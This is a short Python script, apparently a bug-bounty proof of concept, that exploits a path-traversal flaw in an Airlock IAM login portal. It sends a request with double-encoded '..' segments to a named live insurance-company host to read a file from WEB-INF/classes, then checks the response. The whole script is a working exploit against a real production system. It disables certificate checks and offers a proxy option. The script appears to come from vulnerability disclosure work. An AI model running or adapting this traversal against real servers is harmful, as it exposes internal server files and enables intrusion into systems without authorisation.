# /// script
# requires-python = ">=3.11"
# dependencies = [
#   "curl-cffi>=0.13.0",
# ]
# ///

import argparse
import sys

from curl_cffi import requests


URL = (
    "https://mein-portal.baloise.de/auth/ui/assets/airlock/i18n/"
    "%252e%252e/%252e%252e/%252e%252e/%252e%252e/"
    "WEB-INF/classes/logging.json"
)
EXPECTED = '{"handlers":"com.airlock.iam.log.bridge.Log4jBridgeHandler"}'


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("--proxy", help="HTTP or SOCKS proxy URL")
    args = parser.parse_args()

    try:
        response = requests.get(
            URL,
            headers={
                "X-Bug-Bounty": "dwbzn",
                "Cache-Control": "no-cache",
            },
            proxy=args.proxy,
            timeout=30,
            verify=False,
        )
    except Exception as exc:
        print(f"request failed: {exc}", file=sys.stderr)
        return 1

    body = response.text.strip()
    if response.status_code != 200 or body != EXPECTED:
        print(
            f"unexpected response: HTTP {response.status_code}, body={body!r}",
            file=sys.stderr,
        )
        return 1

    print(body)
    return 0


if __name__ == "__main__":
    raise SystemExit(main())
